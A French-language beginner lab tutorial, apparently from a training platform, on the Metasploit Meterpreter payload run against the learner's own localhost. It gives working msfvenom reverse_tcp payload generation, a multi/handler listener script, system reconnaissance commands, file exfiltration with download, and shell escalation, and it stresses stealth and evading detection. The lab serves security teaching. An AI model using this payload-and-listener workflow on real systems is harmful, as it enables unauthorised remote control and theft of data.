Introduction à Meterpreter

CybersécuritéBeginner
Pratiquer maintenant

Introduction

Bienvenue dans le laboratoire d'introduction à Meterpreter.

Meterpreter est un payload avancé et dynamiquement extensible qui fait partie du framework Metasploit. Contrairement à un shell de commande basique qui se contente de transférer les entrées et sorties standard vers un shell système (comme /bin/bash), Meterpreter offre un environnement de commande riche et interactif. Il fonctionne entièrement en mémoire, ce qui signifie qu'il n'écrit rien sur le disque dur de la cible, le rendant ainsi extrêmement furtif et difficile à détecter pour les logiciels antivirus traditionnels.

Ce qui rend Meterpreter important, c'est qu'il transforme un simple shell en une véritable plateforme de session. Au lieu de simplement envoyer des commandes texte au système d'exploitation, vous bénéficiez de capacités intégrées pour la collecte d'informations, l'interaction avec les fichiers, le routage et les flux de travail de post-exploitation.

Dans ce laboratoire, vous apprendrez le processus complet de génération d'un payload Meterpreter, la configuration d'un écouteur (listener) pour intercepter la connexion entrante, et l'interaction avec le système compromis. Vous explorerez les commandes intégrées pour recueillir des informations système, naviguer dans le système de fichiers sans dépendre des binaires natifs de l'OS, et basculer vers un shell système natif lorsque cela est nécessaire.

Déployer le payload Meterpreter

Dans cette étape, vous allez générer un payload Meterpreter et configurer un écouteur pour établir une connexion. Nous utiliserons msfvenom, un générateur de payload autonome fourni par le framework Metasploit, pour créer un fichier exécutable contenant notre payload Meterpreter.

Tout d'abord, assurez-vous d'être dans votre répertoire de travail par défaut. Vous allez générer un payload exécutable Linux configuré pour se reconnecter à votre machine locale (un "reverse shell"). Exécutez la commande suivante pour créer le payload nommé payload.elf :

Cette étape de génération est le moment où les paramètres du payload deviennent une réalité opérationnelle. LHOST et LPORT ne sont pas des paramètres abstraits ; ils définissent précisément comment la session tentera de vous joindre.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o payload.elf

Si c'est la première fois que vous utilisez Metasploit dans l'environnement de laboratoire actuel, vous pourriez voir une invite de configuration initiale avant que msfvenom ne génère le payload. Lorsqu'on vous demande si vous souhaitez configurer une nouvelle base de données, répondez yes et attendez la fin de la configuration. Ensuite, msfvenom continuera et enregistrera payload.elf.

Après avoir généré le payload, vous devez le rendre exécutable afin que le système puisse l'exécuter. Utilisez la commande chmod pour ajouter les permissions d'exécution :

chmod +x payload.elf

Ensuite, vous devez configurer un écouteur pour intercepter la connexion lorsque le payload sera exécuté. Nous allons créer un script de ressources pour automatiser la configuration de la console Metasploit (msfconsole). Créez un fichier nommé listener.rc avec la configuration nécessaire :

cat << EOF > listener.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
EOF

Maintenant, démarrez la console Metasploit en utilisant le script de ressources que vous venez de créer. L'indicateur -q le démarre en mode silencieux (sans la bannière de démarrage), et -r lui indique d'exécuter votre script :

msfconsole -q -r listener.rc

Vous verrez une sortie indiquant que le gestionnaire TCP inverse a démarré sur 127.0.0.1:4444.

Pour exécuter le payload tout en gardant l'écouteur actif, vous devez ouvrir un nouvel onglet de terminal. Dans l'interface LabEx, cliquez sur l'icône + au-dessus du terminal pour ouvrir une nouvelle fenêtre. Dans ce nouveau terminal, exécutez le payload :

./payload.elf

Revenez à votre premier onglet de terminal. Vous devriez voir un message indiquant Meterpreter session 1 opened. Appuyez sur Entrée pour obtenir l'invite msf6 >, puis interagissez avec la session en tapant :

sessions -i 1

Vous verrez maintenant l'invite meterpreter >, indiquant que vous avez déployé avec succès et que vous êtes connecté au payload Meterpreter.

Récupérer des informations système (sysinfo)

Dans cette étape, vous utiliserez les commandes intégrées de Meterpreter pour recueillir des informations sur le système compromis. Comme Meterpreter s'exécute en mémoire et possède son propre ensemble de commandes, vous n'avez pas besoin de dépendre des commandes Linux natives du système cible (comme uname ou whoami) pour obtenir ces informations.

Cet ensemble de commandes intégrées est l'une des raisons pour lesquelles les sessions Meterpreter sont si précieuses. De nombreuses tâches courantes de l'opérateur peuvent être effectuées sans avoir à basculer immédiatement vers un shell natif.

Assurez-vous d'être à l'invite meterpreter > de l'étape précédente. Si ce n'est pas le cas, assurez-vous d'avoir interagi avec la session en utilisant sessions -i 1.

Pour récupérer des informations système de base, telles que le nom de l'ordinateur, le système d'exploitation, l'architecture et la version de Meterpreter, tapez la commande suivante :

sysinfo

Vous verrez une sortie similaire à celle-ci :

Computer     : 172.17.0.2
OS           : Ubuntu 22.04 (Linux 5.15.0-105-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Ensuite, vous pouvez déterminer sous quel compte utilisateur le payload Meterpreter est actuellement exécuté. C'est crucial pour comprendre votre niveau de privilège sur le système cible. Exécutez la commande suivante :

getuid

La sortie affichera le nom d'utilisateur du serveur, qui dans cet environnement devrait être labex :

Server username: labex

Ces commandes démontrent comment Meterpreter vous permet d'évaluer rapidement l'environnement que vous avez compromis sans déclencher de journalisation au niveau du système qui pourrait surveiller l'exécution de commandes natives.

Dans cette étape, vous explorerez le système de fichiers de la cible en utilisant les commandes de gestion de fichiers intégrées de Meterpreter. Ces commandes fonctionnent de manière similaire aux commandes Linux standard, mais sont exécutées entièrement au sein de la session Meterpreter, ajoutant une couche supplémentaire de furtivité.

L'interaction avec le système de fichiers est une activité centrale de la post-exploitation, car de nombreux objectifs dépendent finalement de la recherche, de la lecture ou de l'exfiltration d'artefacts depuis l'hôte.

Depuis l'invite meterpreter >, vous pouvez vérifier votre répertoire de travail actuel en utilisant la commande pwd :

pwd

Vous devriez voir /home/labex/project comme répertoire actuel. Pour lister le contenu de ce répertoire, utilisez la commande ls :

ls

Vous remarquerez un répertoire nommé target_data. Naviguons dans ce répertoire en utilisant la commande cd :

cd target_data

Si ls n'affiche pas target_data, créez manuellement le dossier et le fichier requis dans votre terminal habituel (pas dans la session Meterpreter), puis continuez :

mkdir -p /home/labex/project/target_data
echo "Confidential Data: Meterpreter is awesome" > /home/labex/project/target_data/secrets.txt

Listez le contenu du répertoire target_data pour trouver les fichiers à l'intérieur :

ls

Vous devriez voir un fichier nommé secrets.txt. Vous pouvez lire le contenu de ce fichier directement dans Meterpreter en utilisant la commande cat :

cat secrets.txt

La sortie révélera les données confidentielles stockées dans le fichier. Souvent, lors d'une évaluation, vous voudrez exfiltrer (télécharger) des fichiers vers votre machine locale pour une analyse plus approfondie. Meterpreter facilite cela avec la commande download.

Téléchargez le fichier secrets.txt et enregistrez-le dans votre répertoire de projet principal sous le nom downloaded_secrets.txt :

download secrets.txt /home/labex/project/downloaded_secrets.txt

Vous verrez un message de confirmation indiquant que le fichier a été téléchargé avec succès. Cela démontre comment Meterpreter peut transférer des fichiers de manière transparente entre la cible et votre machine locale.

Exécuter des commandes système (shell)

Dans cette étape, vous apprendrez comment basculer vers un shell système natif depuis votre session Meterpreter. Bien que Meterpreter fournisse de nombreuses commandes intégrées, il y a des moments où vous devez interagir directement avec le système d'exploitation de la cible, exécuter des scripts spécifiques ou utiliser des binaires natifs que Meterpreter ne prend pas en charge nativement.

Pour ouvrir un shell système standard, tapez la commande suivante à l'invite meterpreter > :

shell

Vous remarquerez que votre invite change ou disparaît, indiquant que vous interagissez maintenant directement avec le shell /bin/sh ou /bin/bash du système cible.

Maintenant que vous êtes dans un shell natif, vous pouvez exécuter des commandes Linux standard. Créons un fichier pour prouver que nous avons des capacités d'exécution au niveau du système. Exécutez la commande suivante pour créer un fichier nommé hacked.txt dans votre répertoire de projet :

echo "hacked by meterpreter" > /home/labex/project/hacked.txt

Vous pouvez vérifier que le fichier a été créé en le lisant avec la commande cat :

cat /home/labex/project/hacked.txt

La sortie affichera hacked by meterpreter.

Une fois que vous avez terminé d'exécuter des commandes système natives, vous pouvez retourner à la session furtive Meterpreter. Pour ce faire, tapez simplement exit et appuyez sur Entrée :

exit

Vous serez ramené à l'invite meterpreter >. Cette capacité à basculer de manière transparente entre un environnement furtif résidant en mémoire et un shell système complet fait de Meterpreter un outil incroyablement polyvalent.

Résumé

Félicitations ! Vous avez terminé avec succès le laboratoire d'introduction à Meterpreter.

Dans ce laboratoire, vous avez appris à générer un payload Meterpreter en utilisant msfvenom et à configurer un écouteur en utilisant msfconsole. Vous avez également appris à récupérer des informations critiques sur le système et l'utilisateur en utilisant les commandes intégrées sysinfo et getuid de Meterpreter. De plus, vous vous êtes exercé à naviguer furtivement dans le système de fichiers de la cible et à exfiltrer des données en utilisant la commande download. Enfin, vous avez appris à basculer vers un shell système natif pour exécuter des commandes au niveau de l'OS et à revenir de manière transparente à la session Meterpreter.

Ces compétences fondamentales forment la base des activités de post-exploitation, vous permettant de maintenir le contrôle, de recueillir des renseignements et de manipuler efficacement les systèmes compromis.